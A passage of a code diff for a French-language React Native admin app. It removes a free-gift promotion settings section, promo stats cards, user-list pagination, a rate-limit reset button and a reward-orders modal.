<View style={{ width: 8, height: 8, borderRadius: 4, backgroundColor: catColor }} />
|
||||
<Text style={{ fontSize: 13, fontWeight: selected ? "700" : "400", color: selected ? catColor : colors.textMuted }}>
|
||||
{cat.name}{selected && countTiers(cfg) > 0 ? ` · ${countTiers(cfg)} seuil(s)` : ""}
|
||||
</Text>
|
||||
<Ionicons
|
||||
name={expanded ? "chevron-down" : "chevron-forward"}
|
||||
size={12}
|
||||
color={selected ? catColor : colors.textMuted}
|
||||
/>
|
||||
</TouchableOpacity>
|
||||
|
||||
{expanded && (
|
||||
<View style={{ marginTop: spacing.s, paddingLeft: spacing.m, gap: spacing.s }}>
|
||||
<TouchableOpacity
|
||||
onPress={() => toggleCategory(cat.name)}
|
||||
style={{
|
||||
flexDirection: "row", alignItems: "center", gap: 4,
|
||||
alignSelf: "flex-start",
|
||||
paddingHorizontal: spacing.s, paddingVertical: 4,
|
||||
borderRadius: borderRadius.sm, borderWidth: 1.5,
|
||||
borderColor: selected ? FREEGIFT_ACCENT : colors.border,
|
||||
backgroundColor: selected ? FREEGIFT_ACCENT + "22" : "transparent",
|
||||
}}
|
||||
>
|
||||
<Ionicons
|
||||
name={selected ? "checkbox" : "square-outline"}
|
||||
size={14}
|
||||
color={selected ? FREEGIFT_ACCENT : colors.textMuted}
|
||||
/>
|
||||
<Ionicons name="gift-outline" size={12} color={selected ? FREEGIFT_ACCENT : colors.textMuted} />
|
||||
<Text style={{ fontSize: 12, fontWeight: selected ? "700" : "400", color: selected ? FREEGIFT_ACCENT : colors.textMuted }}>
|
||||
Offre active sur cette catégorie
|
||||
</Text>
|
||||
</TouchableOpacity>
|
||||
|
||||
{selected && (
|
||||
<FreeGiftProductPicker
|
||||
catConfig={cfg}
|
||||
products={productsByCategory[cat.name] ?? []}
|
||||
onChange={updateCatConfig}
|
||||
colors={colors}
|
||||
s={s}
|
||||
/>
|
||||
)}
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
);
|
||||
})}
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
|
||||
{/* Récapitulatif */}
|
||||
{freeGifts.length > 0 && (
|
||||
<View style={{ backgroundColor: FREEGIFT_ACCENT + "12", borderRadius: borderRadius.sm, borderLeftWidth: 3, borderLeftColor: FREEGIFT_ACCENT, padding: spacing.m, gap: 4 }}>
|
||||
<Text style={{ fontSize: 13, fontWeight: "700", color: FREEGIFT_ACCENT }}>Récapitulatif</Text>
|
||||
{freeGifts.map((cfg, idx) => (
|
||||
<Text key={`${cfg.category}-${idx}`} style={{ fontSize: 12, color: colors.textSecondary }}>
|
||||
• {cfg.category} — {cfg.all_products
|
||||
? `tous les produits · ${cfg.tiers.map((t) => `${t.buy_quantity}→+${t.free_quantity}`).join(", ") || "aucun seuil"}`
|
||||
: `${cfg.products.length} produit(s) : ${cfg.products.map((pq) => `#${pq.product_id}[${pq.tiers.map((t) => `${t.buy_quantity}→+${t.free_quantity}`).join(",")}]`).join(", ")}`}
|
||||
</Text>
|
||||
))}
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
)}
|
||||
</AccordionSection>
|
||||
);
|
||||
}
|
||||
|
||||
// Palette violette d'origine de l'application (thème par défaut historique)
|
||||
const ORIGINAL_THEME_COLORS = {
|
||||
admin_color_primary: "#7c3aed",
|
||||
@@ -1976,8 +1564,6 @@ export default function SettingsScreen() {
|
||||
points_reward: null,
|
||||
promotions_enabled: false,
|
||||
promotions: [],
|
||||
free_gifts_enabled: false,
|
||||
free_gifts: [],
|
||||
admin_color_primary: "#7c3aed",
|
||||
admin_color_secondary: "#22d3ee",
|
||||
admin_color_success: "#4ade80",
|
||||
@@ -2062,15 +1648,6 @@ export default function SettingsScreen() {
|
||||
...cfg,
|
||||
products: cfg.products ?? [],
|
||||
})),
|
||||
free_gifts_enabled: s.free_gifts_enabled ?? false,
|
||||
free_gifts: (s.free_gifts ?? []).map((cfg) => ({
|
||||
...cfg,
|
||||
tiers: cfg.tiers ?? [],
|
||||
products: (cfg.products ?? []).map((pq) => ({
|
||||
...pq,
|
||||
tiers: pq.tiers ?? [],
|
||||
})),
|
||||
})),
|
||||
});
|
||||
}
|
||||
if (categoriesRes) {
|
||||
@@ -2698,18 +2275,6 @@ export default function SettingsScreen() {
|
||||
s={s}
|
||||
/>
|
||||
|
||||
{/* Offres "achetez X, Y offert" — quantité offerte du même produit */}
|
||||
<FreeGiftsSection
|
||||
enabled={settings.free_gifts_enabled ?? false}
|
||||
freeGifts={settings.free_gifts ?? []}
|
||||
allCategories={categories}
|
||||
productsByCategory={productsByCategory}
|
||||
onToggle={(v) => setSettings((p) => ({ ...p, free_gifts_enabled: v }))}
|
||||
onChangeFreeGifts={(free_gifts) => setSettings((p) => ({ ...p, free_gifts }))}
|
||||
colors={colors}
|
||||
s={s}
|
||||
/>
|
||||
|
||||
{/* Horaires de livraison */}
|
||||
<DeliveryScheduleSection
|
||||
schedule={settings.delivery_schedule ?? DEFAULT_DELIVERY_SCHEDULE}
|
||||
|
||||
@@ -1643,20 +1643,6 @@ export default function StatsScreen() {
|
||||
color={CHART_AMBER}
|
||||
/>
|
||||
</View>
|
||||
<View style={styles.summaryRow}>
|
||||
<SummaryCard
|
||||
icon="pricetag-outline"
|
||||
label="Économisé (promos)"
|
||||
value={fmtEuro(s?.total_promo_discount ?? 0)}
|
||||
color={CHART_GREEN}
|
||||
/>
|
||||
<SummaryCard
|
||||
icon="gift-outline"
|
||||
label="Commandes avec promo"
|
||||
value={fmtNum(s?.promo_orders_count ?? 0)}
|
||||
color={CHART_AMBER}
|
||||
/>
|
||||
</View>
|
||||
|
||||
{/* ── Activité du jour ── */}
|
||||
{stats?.daily_detail && (
|
||||
|
||||
@@ -11,7 +11,7 @@ import {
|
||||
ActivityIndicator,
|
||||
useWindowDimensions,
|
||||
} from "react-native";
|
||||
import { Ionicons, FontAwesome5 } from "@expo/vector-icons";
|
||||
import { Ionicons } from "@expo/vector-icons";
|
||||
import { spacing, fontSize, borderRadius } from "../../theme";
|
||||
import { useTheme } from "../../context/ThemeContext";
|
||||
import {
|
||||
@@ -24,28 +24,20 @@ import {
|
||||
createClientByAdmin,
|
||||
createUserByAdmin,
|
||||
setClientParrain,
|
||||
getClientParrain,
|
||||
creditClientReferral,
|
||||
resetClientReferral,
|
||||
getClientCancelledOrders,
|
||||
getClientRewardOrders,
|
||||
decrementClientRedeemed,
|
||||
getSettings,
|
||||
applyClientPenalty,
|
||||
resetClientPenalties,
|
||||
resetClientRateLimit,
|
||||
resetClientPoints,
|
||||
addClientPoints,
|
||||
subtractClientPoints,
|
||||
getLivreurLoginHistory,
|
||||
} from "../../api/api_admin";
|
||||
import type {
|
||||
CancelledOrder,
|
||||
RewardOrder,
|
||||
LoginHistoryWeek,
|
||||
UserCounts,
|
||||
} from "../../api/api_admin";
|
||||
import type { CancelledOrder, LoginHistoryWeek } from "../../api/api_admin";
|
||||
import type { ClientResponse } from "../../api/types";
|
||||
import { STATUS_LABELS } from "../../utils/constants";
|
||||
import LoadingSpinner from "../../components/ui/LoadingSpinner";
|
||||
import Card from "../../components/ui/Card";
|
||||
import Button from "../../components/ui/Button";
|
||||
@@ -146,15 +138,8 @@ export default function UsersScreen() {
|
||||
}
|
||||
}, []);
|
||||
|
||||
const PAGE_SIZE = 100;
|
||||
const [users, setUsers] = useState<UserItem[]>([]);
|
||||
const [clients, setClients] = useState<ClientResponse[]>([]);
|
||||
const [usersHasMore, setUsersHasMore] = useState(true);
|
||||
const [clientsHasMore, setClientsHasMore] = useState(true);
|
||||
const [loadingMore, setLoadingMore] = useState(false);
|
||||
// Totaux globaux renvoyés par le backend (toute la base, pas seulement
|
||||
// les pages déjà chargées).
|
||||
const [counts, setCounts] = useState<UserCounts | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [refreshing, setRefreshing] = useState(false);
|
||||
const [poolNames, setPoolNames] = useState<string[]>([]);
|
||||
@@ -241,20 +226,6 @@ export default function UsersScreen() {
|
||||
loading: boolean;
|
||||
}>({ visible: false, username: "", orders: [], loading: false });
|
||||
|
||||
const [rewardOrdersModal, setRewardOrdersModal] = useState<{
|
||||
visible: boolean;
|
||||
username: string;
|
||||
orders: RewardOrder[];
|
||||
redeemed: Record<string, number>;
|
||||
loading: boolean;
|
||||
}>({
|
||||
visible: false,
|
||||
username: "",
|
||||
orders: [],
|
||||
redeemed: {},
|
||||
loading: false,
|
||||
});
|
||||
|
||||
// Login history modal (livreur)
|
||||
const [loginHistoryModal, setLoginHistoryModal] = useState<{
|
||||
visible: boolean;
|
||||
@@ -278,20 +249,15 @@ export default function UsersScreen() {
|
||||
// --------------------------------------------------
|
||||
// Data
|
||||
// --------------------------------------------------
|
||||
// Charge la première page (100 users + 100 clients). D'autres pages sont
|
||||
// chargées via loadMore() au fur et à mesure que l'utilisateur scrolle.
|
||||
const loadData = useCallback(async () => {
|
||||
try {
|
||||
const [usersRes, clientsRes, settingsRes] = await Promise.all([
|
||||
getAllUsers(0, PAGE_SIZE),
|
||||
getAllClients(0, PAGE_SIZE),
|
||||
const [usersData, clientsData, settingsRes] = await Promise.all([
|
||||
getAllUsers(),
|
||||
getAllClients(),
|
||||
getSettings(),
|
||||
]);
|
||||
setUsers(usersRes.items);
|
||||
setClients(clientsRes.items);
|
||||
if (usersRes.counts) setCounts(usersRes.counts);
|
||||
setUsersHasMore(usersRes.hasMore);
|
||||
setClientsHasMore(clientsRes.hasMore);
|
||||
setUsers(usersData);
|
||||
setClients(clientsData);
|
||||
if (settingsRes.success && settingsRes.settings) {
|
||||
const pools = settingsRes.settings.points_pools ?? [];
|
||||
setPoolNames(pools.map((p) => p.name));
|
||||
@@ -305,58 +271,33 @@ export default function UsersScreen() {
|
||||
);
|
||||
}
|
||||
|
||||
const map: Record<string, string | null> = {};
|
||||
for (const c of clientsRes.items) {
|
||||
map[c.username] = c.parrain || null;
|
||||
// Charger le parrain de chaque client en parallèle (best-effort,
|
||||
// une erreur sur un client n'empêche pas les autres de s'afficher).
|
||||
const clientUsernames = (clientsData ?? []).map((c) => c.username);
|
||||
if (clientUsernames.length > 0) {
|
||||
const results = await Promise.all(
|
||||
clientUsernames.map(async (username) => {
|
||||
const res = await getClientParrain(username);
|
||||
return [
|
||||
username,
|
||||
res.success ? (res.parrain ?? null) : null,
|
||||
] as const;
|
||||
}),
|
||||
);
|
||||
const map: Record<string, string | null> = {};
|
||||
for (const [username, parrain] of results) {
|
||||
map[username] = parrain;
|
||||
}
|
||||
setParrainMap(map);
|
||||
} else {
|
||||
setParrainMap({});
|
||||
}
|
||||
setParrainMap(map);
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
setLoading(false);
|
||||
}, []);
|
||||
|
||||
// Charge la page suivante de users/clients et l'ajoute à la liste déjà
|
||||
// affichée (déclenché par le scroll de la FlatList, cf. onEndReached).
|
||||
const loadMore = useCallback(async () => {
|
||||
if (loadingMore || (!usersHasMore && !clientsHasMore)) return;
|
||||
setLoadingMore(true);
|
||||
try {
|
||||
const [usersRes, clientsRes] = await Promise.all([
|
||||
usersHasMore
|
||||
? getAllUsers(users.length, PAGE_SIZE)
|
||||
: Promise.resolve<{
|
||||
items: UserItem[];
|
||||
hasMore: boolean;
|
||||
}>({ items: [], hasMore: false }),
|
||||
clientsHasMore
|
||||
? getAllClients(clients.length, PAGE_SIZE)
|
||||
: Promise.resolve<{
|
||||
items: ClientResponse[];
|
||||
hasMore: boolean;
|
||||
}>({ items: [], hasMore: false }),
|
||||
]);
|
||||
if (usersRes.items.length > 0) {
|
||||
setUsers((prev) => [...prev, ...usersRes.items]);
|
||||
}
|
||||
setUsersHasMore(usersRes.hasMore);
|
||||
if (clientsRes.items.length > 0) {
|
||||
setClients((prev) => [...prev, ...clientsRes.items]);
|
||||
setParrainMap((prev) => {
|
||||
const next = { ...prev };
|
||||
for (const c of clientsRes.items) {
|
||||
next[c.username] = c.parrain || null;
|
||||
}
|
||||
return next;
|
||||
});
|
||||
}
|
||||
setClientsHasMore(clientsRes.hasMore);
|
||||
} catch {
|
||||
/* ignore, l'utilisateur peut re-scroller pour réessayer */
|
||||
}
|
||||
setLoadingMore(false);
|
||||
}, [loadingMore, usersHasMore, clientsHasMore, users.length, clients.length]);
|
||||
|
||||
useEffect(() => {
|
||||
loadData();
|
||||
}, [loadData]);
|
||||
@@ -369,27 +310,21 @@ export default function UsersScreen() {
|
||||
// --------------------------------------------------
|
||||
// Merged & filtered list
|
||||
// --------------------------------------------------
|
||||
// Merge users + clients once per data change, not on every render.
|
||||
const allMergedUsers = useMemo(() => {
|
||||
const getMergedUsers = () => {
|
||||
// Build a map of client details by username
|
||||
const clientMap = new Map<string, ClientResponse>();
|
||||
clients.forEach((c) => clientMap.set(c.username, c));
|
||||
|
||||
const seen = new Set<string>();
|
||||
const merged = users.map((u) => {
|
||||
seen.add(u.username);
|
||||
return {
|
||||
...u,
|
||||
clientData:
|
||||
u.role === "client"
|
||||
? clientMap.get(u.username) || null
|
||||
: null,
|
||||
};
|
||||
});
|
||||
// Merge: for each user from getAllUsers, attach client details if role=client
|
||||
let merged = users.map((u) => ({
|
||||
...u,
|
||||
clientData:
|
||||
u.role === "client" ? clientMap.get(u.username) || null : null,
|
||||
}));
|
||||
|
||||
// Also add clients that might not be in users list
|
||||
clients.forEach((c) => {
|
||||
if (!seen.has(c.username)) {
|
||||
seen.add(c.username);
|
||||
if (!merged.find((m) => m.username === c.username)) {
|
||||
merged.push({
|
||||
id: c.id,
|
||||
username: c.username,
|
||||
@@ -399,12 +334,6 @@ export default function UsersScreen() {
|
||||
}
|
||||
});
|
||||
|
||||
return merged;
|
||||
}, [users, clients]);
|
||||
|
||||
const mergedUsers = useMemo(() => {
|
||||
let merged = allMergedUsers;
|
||||
|
||||
if (filter !== "all") {
|
||||
merged = merged.filter((u) => u.role === filter);
|
||||
}
|
||||
@@ -426,23 +355,19 @@ export default function UsersScreen() {
|
||||
}
|
||||
|
||||
return merged;
|
||||
}, [allMergedUsers, filter, search]);
|
||||
};
|
||||
|
||||
// Stats : totaux globaux du backend. Repli sur les données chargées
|
||||
// uniquement si le backend n'a pas renvoyé les totaux.
|
||||
const totalAll = counts?.all ?? allMergedUsers.length;
|
||||
const mergedUsers = getMergedUsers();
|
||||
|
||||
// Stats
|
||||
const totalClients =
|
||||
counts?.client ??
|
||||
(users.filter((u) => u.role === "client").length || clients.length);
|
||||
const totalLivreurs =
|
||||
counts?.livreur ?? users.filter((u) => u.role === "livreur").length;
|
||||
const totalCabines =
|
||||
counts?.cabine ?? users.filter((u) => u.role === "cabine").length;
|
||||
const totalAdmins =
|
||||
counts?.admin ?? users.filter((u) => u.role === "admin").length;
|
||||
users.filter((u) => u.role === "client").length || clients.length;
|
||||
const totalLivreurs = users.filter((u) => u.role === "livreur").length;
|
||||
const totalCabines = users.filter((u) => u.role === "cabine").length;
|
||||
const totalAdmins = users.filter((u) => u.role === "admin").length;
|
||||
|
||||
const getCountForFilter = (f: RoleFilter) => {
|
||||
if (f === "all") return totalAll;
|
||||
if (f === "all") return mergedUsers.length;
|
||||
if (f === "client") return totalClients;
|
||||
if (f === "livreur") return totalLivreurs;
|
||||
if (f === "cabine") return totalCabines;
|
||||
@@ -534,7 +459,7 @@ export default function UsersScreen() {
|
||||
// --------------------------------------------------
|
||||
// Delete user/client
|
||||
// --------------------------------------------------
|
||||
const handleDelete = (item: (typeof allMergedUsers)[number]) => {
|
||||
const handleDelete = (item: ReturnType<typeof getMergedUsers>[0]) => {
|
||||
const label =
|
||||
item.role === "client"
|
||||
? "client"
|
||||
@@ -667,32 +592,6 @@ export default function UsersScreen() {
|
||||
);
|
||||
};
|
||||
|
||||
const handleResetRateLimit = (client: ClientResponse) => {
|
||||
showConfirm(
|
||||
"Lever le rate limit",
|
||||
`Débloquer "${client.username}" ? Ses compteurs de requêtes, d'annulations et de modifications d'adresse seront remis à zéro.`,
|
||||
async () => {
|
||||
const res = await resetClientRateLimit(client.username);
|
||||
if (!res.success) {
|
||||
showError("Erreur", res.error || "Echec");
|
||||
return;
|
||||
}
|
||||
setClients((prev) =>
|
||||
prev.map((c) =>
|
||||
c.username === client.username
|
||||
? { ...c, rate_limited: false }
|
||||
: c,
|
||||
),
|
||||
);
|
||||
showSuccess(
|
||||
"Validé",
|
||||
`Rate limit levé pour "${client.username}"`,
|
||||
);
|
||||
},
|
||||
"Débloquer",
|
||||
);
|
||||
};
|
||||
|
||||
const handleResetAmende = () => {
|
||||
if (!sanctionModal.client) return;
|
||||
showConfirm(
|
||||
@@ -827,64 +726,6 @@ export default function UsersScreen() {
|
||||
}));
|
||||
};
|
||||
|
||||
const openRewardOrders = async (client: ClientResponse) => {
|
||||
setRewardOrdersModal({
|
||||
visible: true,
|
||||
username: client.username,
|
||||
orders: [],
|
||||
redeemed: {},
|
||||
loading: true,
|
||||
});
|
||||
const res = await getClientRewardOrders(client.username);
|
||||
setRewardOrdersModal((prev) => ({
|
||||
...prev,
|
||||
orders: res.orders,
|
||||
redeemed: res.redeemed,
|
||||
loading: false,
|
||||
}));
|
||||
};
|
||||
|
||||
const handleDecrementRedeemed = (poolKey: string) => {
|
||||
const username = rewardOrdersModal.username;
|
||||
const used = rewardOrdersModal.orders.filter(
|
||||
(o) =>
|
||||
o.status !== "cancelled" &&
|
||||
o.items.some((it) => it.reward_pool_key === poolKey),
|
||||
).length;
|
||||
const warning =
|
||||
used > 0
|
||||
? `\n\n⚠️ ${used} commande(s) avec récompense existent déjà sur ce pool : vérifiez que la récompense a bien été perdue.`
|
||||
: "";
|
||||
showConfirm(
|
||||
"Annuler 1 récompense",
|
||||
`Rendre 1 récompense "${poolLabel(poolKey)}" à "${username}" ? Le bouton de réclamation réapparaîtra chez le client.${warning}`,
|
||||
async () => {
|
||||
const res = await decrementClientRedeemed(username, poolKey);
|
||||
if (!res.success) {
|
||||
showError("Erreur", res.error || "Echec");
|
||||
return;
|
||||
}
|
||||
setRewardOrdersModal((prev) => ({
|
||||
...prev,
|
||||
redeemed: {
|
||||
...prev.redeemed,
|
||||
[poolKey]: res.redeemed ?? 0,
|
||||
},
|
||||
}));
|
||||
showSuccess(
|
||||
"Validé",
|
||||
`1 récompense "${poolLabel(poolKey)}" rendue à "${username}"`,
|
||||
);
|
||||
},
|
||||
"Rendre",
|
||||
);
|
||||
};
|
||||
|
||||
const poolLabel = (key: string) => {
|
||||
const idx = poolKeys.indexOf(key);
|
||||
return idx >= 0 && poolNames[idx] ? poolNames[idx] : key;
|
||||
};
|
||||
|
||||
// --------------------------------------------------
|
||||
// Login history (livreur)
|
||||
// --------------------------------------------------
|
||||
@@ -1003,16 +844,10 @@ export default function UsersScreen() {
|
||||
if (!e.response) {
|
||||
try {
|
||||
if (createType === "client") {
|
||||
// Trié par created_at DESC : un client qui vient
|
||||
// d'être créé est forcément sur la première page.
|
||||
const freshClients = await getAllClients(
|
||||
0,
|
||||
PAGE_SIZE,
|
||||
);
|
||||
setClients(freshClients.items);
|
||||
setClientsHasMore(freshClients.hasMore);
|
||||
const freshClients = await getAllClients();
|
||||
setClients(freshClients);
|
||||
if (
|
||||
freshClients.items.find(
|
||||
freshClients.find(
|
||||
(c) => c.username === usernameToCreate,
|
||||
)
|
||||
) {
|
||||
@@ -1020,13 +855,11 @@ export default function UsersScreen() {
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
const freshUsers = await getAllUsers(0, PAGE_SIZE);
|
||||
setUsers(freshUsers.items);
|
||||
setUsersHasMore(freshUsers.hasMore);
|
||||
if (freshUsers.counts) setCounts(freshUsers.counts);
|
||||
const freshUsers = await getAllUsers();
|
||||
setUsers(freshUsers);
|
||||
if (
|
||||
freshUsers.items.find(
|
||||
(u) => u.username === usernameToCreate,
|
||||
freshUsers.find(
|
||||
(u: any) => u.username === usernameToCreate,
|
||||
)
|
||||
) {
|
||||
setCreateModal(false);
|
||||
@@ -1092,24 +925,15 @@ export default function UsersScreen() {
|
||||
// Card
|
||||
cardHeader: {
|
||||
flexDirection: "row",
|
||||
flexWrap: "wrap",
|
||||
justifyContent: "space-between",
|
||||
alignItems: "flex-start",
|
||||
rowGap: spacing.xs,
|
||||
},
|
||||
userInfo: {
|
||||
flexDirection: "row",
|
||||
alignItems: "center",
|
||||
flexGrow: 1,
|
||||
flexShrink: 1,
|
||||
flexBasis: 170,
|
||||
flex: 1,
|
||||
gap: spacing.m,
|
||||
},
|
||||
cardActions: {
|
||||
flexDirection: "row",
|
||||
flexWrap: "wrap",
|
||||
justifyContent: "flex-end",
|
||||
marginLeft: "auto",
|
||||
},
|
||||
roleIcon: {
|
||||
width: 40,
|
||||
height: 40,
|
||||
@@ -1260,23 +1084,6 @@ export default function UsersScreen() {
|
||||
fontSize: fontSize.sm,
|
||||
fontWeight: "600",
|
||||
},
|
||||
rateLimitBtn: {
|
||||
flexDirection: "row",
|
||||
alignItems: "center",
|
||||
justifyContent: "center",
|
||||
gap: spacing.xs,
|
||||
marginTop: spacing.m,
|
||||
paddingVertical: spacing.s,
|
||||
borderRadius: borderRadius.md,
|
||||
borderWidth: 1,
|
||||
borderColor: colors.warning,
|
||||
backgroundColor: colors.warning + "15",
|
||||
},
|
||||
rateLimitBtnText: {
|
||||
color: colors.warning,
|
||||
fontSize: fontSize.sm,
|
||||
fontWeight: "600",
|
||||
},
|
||||
}),
|
||||
[colors, screenWidth],
|
||||
);
|
||||
@@ -1287,7 +1094,7 @@ export default function UsersScreen() {
|
||||
const renderUser = ({
|
||||
item,
|
||||
}: {
|
||||
item: (typeof allMergedUsers)[number];
|
||||
item: ReturnType<typeof getMergedUsers>[0];
|
||||
}) => {
|
||||
const isClient = item.role === "client" && item.clientData;
|
||||
const roleColor = getRoleBadgeColor(item.role);
|
||||
@@ -1317,9 +1124,7 @@ export default function UsersScreen() {
|
||||
/>
|
||||
</View>
|
||||
<View style={{ flex: 1 }}>
|
||||
<Text style={styles.username} numberOfLines={2}>
|
||||
{item.username}
|
||||
</Text>
|
||||
<Text style={styles.username}>{item.username}</Text>
|
||||
<View
|
||||
style={[
|
||||
styles.roleBadge,
|
||||
@@ -1327,7 +1132,6 @@ export default function UsersScreen() {
|
||||
]}
|
||||
>
|
||||
<Text
|
||||
numberOfLines={1}
|
||||
style={[
|
||||
styles.roleBadgeText,
|
||||
{ color: roleColor },
|
||||
@@ -1338,7 +1142,7 @@ export default function UsersScreen() {
|
||||
</View>
|
||||
</View>
|
||||
</View>
|
||||
<View style={styles.cardActions}>
|
||||
<View style={{ flexDirection: "row", gap: spacing.xs }}>
|
||||
{isClient && (
|
||||
<>
|
||||
{referralEnabled && (
|
||||
@@ -1373,20 +1177,6 @@ export default function UsersScreen() {
|
||||
/>
|
||||
</TouchableOpacity>
|
||||
)}
|
||||
{pointsEnabled && (
|
||||
<TouchableOpacity
|
||||
style={styles.editIconBtn}
|
||||
onPress={() =>
|
||||
openRewardOrders(item.clientData!)
|
||||
}
|
||||
>
|
||||
<FontAwesome5
|
||||
name="trophy"
|
||||
size={17}
|
||||
color={colors.warning}
|
||||
/>
|
||||
</TouchableOpacity>
|
||||
)}
|
||||
<TouchableOpacity
|
||||
style={styles.editIconBtn}
|
||||
onPress={() =>
|
||||
@@ -1605,24 +1395,6 @@ export default function UsersScreen() {
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
{item.clientData.rate_limited && (
|
||||
<TouchableOpacity
|
||||
style={styles.rateLimitBtn}
|
||||
onPress={() =>
|
||||
handleResetRateLimit(item.clientData!)
|
||||
}
|
||||
activeOpacity={0.7}
|
||||
>
|
||||
<FontAwesome5
|
||||
name="unlock"
|
||||
size={14}
|
||||
color={colors.warning}
|
||||
/>
|
||||
<Text style={styles.rateLimitBtnText}>
|
||||
Rate limité — Débloquer
|
||||
</Text>
|
||||
</TouchableOpacity>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
|
||||
@@ -1743,8 +1515,6 @@ export default function UsersScreen() {
|
||||
data={mergedUsers}
|
||||
keyExtractor={(item) => `${item.role}-${item.id}`}
|
||||
renderItem={renderUser}
|
||||
onEndReached={loadMore}
|
||||
onEndReachedThreshold={0.5}
|
||||
refreshControl={
|
||||
<RefreshControl
|
||||
refreshing={refreshing}
|
||||
@@ -1759,14 +1529,6 @@ export default function UsersScreen() {
|
||||
ListEmptyComponent={
|
||||
<Text style={styles.empty}>Aucun utilisateur</Text>
|
||||
}
|
||||
ListFooterComponent={
|
||||
loadingMore ? (
|
||||
<ActivityIndicator
|
||||
color={colors.accent}
|
||||
style={{ marginVertical: spacing.l }}
|
||||
/>
|
||||
) : null
|
||||
}
|
||||
/>
|
||||
|
||||
{/* Edit client modal */}
|
||||
@@ -1968,219 +1730,6 @@ export default function UsersScreen() {
|
||||
cancelText={alert.cancelText}
|
||||
/>
|
||||
|
||||
{/* Modal commandes avec récompense */}
|
||||
<Modal
|
||||
visible={rewardOrdersModal.visible}
|
||||
onClose={() =>
|
||||
setRewardOrdersModal((prev) => ({
|
||||
...prev,
|
||||
visible: false,
|
||||
}))
|
||||
}
|
||||
title={`Récompenses — ${rewardOrdersModal.username}`}
|
||||
icon="trophy-outline"
|
||||
iconColor={colors.warning}
|
||||
>
|
||||
{rewardOrdersModal.loading ? (
|
||||
<ActivityIndicator
|
||||
color={colors.warning}
|
||||
style={{ marginVertical: spacing.xl }}
|
||||
/>
|
||||
) : (
|
||||
<ScrollView
|
||||
style={{ maxHeight: 400 }}
|
||||
showsVerticalScrollIndicator={false}
|
||||
>
|
||||
{Object.keys(rewardOrdersModal.redeemed).length > 0 && (
|
||||
<View
|
||||
style={{
|
||||
paddingBottom: spacing.m,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: colors.border,
|
||||
gap: spacing.xs,
|
||||
}}
|
||||
>
|
||||
<Text
|
||||
style={{
|
||||
color: colors.textMuted,
|
||||
fontSize: fontSize.xs,
|
||||
}}
|
||||
>
|
||||
Récompenses comptées comme réclamées
|
||||
</Text>
|
||||
{Object.entries(rewardOrdersModal.redeemed).map(
|
||||
([key, count]) => (
|
||||
<View
|
||||
key={key}
|
||||
style={{
|
||||
flexDirection: "row",
|
||||
justifyContent: "space-between",
|
||||
alignItems: "center",
|
||||
}}
|
||||
>
|
||||
<Text
|
||||
style={{
|
||||
color: colors.textWhite,
|
||||
fontSize: fontSize.sm,
|
||||
}}
|
||||
>
|
||||
{poolLabel(key)} : {count}
|
||||
</Text>
|
||||
{count > 0 && (
|
||||
<TouchableOpacity
|
||||
onPress={() =>
|
||||
handleDecrementRedeemed(
|
||||
key,
|
||||
)
|
||||
}
|
||||
style={{
|
||||
flexDirection: "row",
|
||||
alignItems: "center",
|
||||
gap: spacing.xs,
|
||||
paddingHorizontal:
|
||||
spacing.s,
|
||||
paddingVertical: 4,
|
||||
borderRadius:
|
||||
borderRadius.sm,
|
||||
borderWidth: 1,
|
||||
borderColor:
|
||||
colors.warning,
|
||||
}}
|
||||
>
|
||||
<FontAwesome5
|
||||
name="undo"
|
||||
size={11}
|
||||
color={colors.warning}
|
||||
/>
|
||||
<Text
|
||||
style={{
|
||||
color: colors.warning,
|
||||
fontSize:
|
||||
fontSize.xs,
|
||||
fontWeight: "700",
|
||||
}}
|
||||
>
|
||||
−1
|
||||
</Text>
|
||||
</TouchableOpacity>
|
||||
)}
|
||||
</View>
|
||||
),
|
||||
)}
|
||||
</View>
|
||||
)}
|
||||
{rewardOrdersModal.orders.length === 0 ? (
|
||||
<Text
|
||||
style={{
|
||||
color: colors.textMuted,
|
||||
textAlign: "center",
|
||||
paddingVertical: spacing.xl,
|
||||
}}
|
||||
>
|
||||
Aucune commande avec récompense
|
||||
</Text>
|
||||
) : (
|
||||
rewardOrdersModal.orders.map((order, idx) => (
|
||||
<View
|
||||
key={order.command_id}
|
||||
style={{
|
||||
borderBottomWidth:
|
||||
idx <
|
||||
rewardOrdersModal.orders.length - 1
|
||||
? 1
|
||||
: 0,
|
||||
borderBottomColor: colors.border,
|
||||
paddingVertical: spacing.m,
|
||||
gap: spacing.xs,
|
||||
}}
|
||||
>
|
||||
<View
|
||||
style={{
|
||||
flexDirection: "row",
|
||||
justifyContent: "space-between",
|
||||
alignItems: "center",
|
||||
}}
|
||||
>
|
||||
<Text
|
||||
style={{
|
||||
color: colors.textWhite,
|
||||
fontWeight: "700",
|
||||
fontSize: fontSize.sm,
|
||||
}}
|
||||
>
|
||||
Commande #{order.command_id}
|
||||
</Text>
|
||||
<Text
|
||||
style={{
|
||||
color: colors.textMuted,
|
||||
fontSize: fontSize.xs,
|
||||
}}
|
||||
>
|
||||
{new Date(
|
||||
order.created_at,
|
||||
).toLocaleDateString("fr-FR", {
|
||||
day: "2-digit",
|
||||
month: "2-digit",
|
||||
year: "numeric",
|
||||
})}
|
||||
</Text>
|
||||
</View>
|
||||
<Text
|
||||
style={{
|
||||
color: colors.textMuted,
|
||||
fontSize: fontSize.xs,
|
||||
}}
|
||||
>
|
||||
{STATUS_LABELS[order.status] ||
|
||||
order.status}{" "}
|
||||
· {Number(order.total).toFixed(2)} €
|
||||
</Text>
|
||||
{order.items.map((it, i) => (
|
||||
<View
|
||||
key={i}
|
||||
style={{
|
||||
flexDirection: "row",
|
||||
alignItems: "center",
|
||||
gap: spacing.xs,
|
||||
}}
|
||||
>
|
||||
<FontAwesome5
|
||||
name="gift"
|
||||
size={12}
|
||||
color={colors.warning}
|
||||
/>
|
||||
<Text
|
||||
style={{
|
||||
color: colors.textWhite,
|
||||
fontSize: fontSize.sm,
|
||||
flex: 1,
|
||||
}}
|
||||
>
|
||||
{it.produit} ×{it.quantity}
|
||||
{it.reward_pool_key
|
||||
? ` · ${poolLabel(it.reward_pool_key)}`
|
||||
: ""}
|
||||
</Text>
|
||||
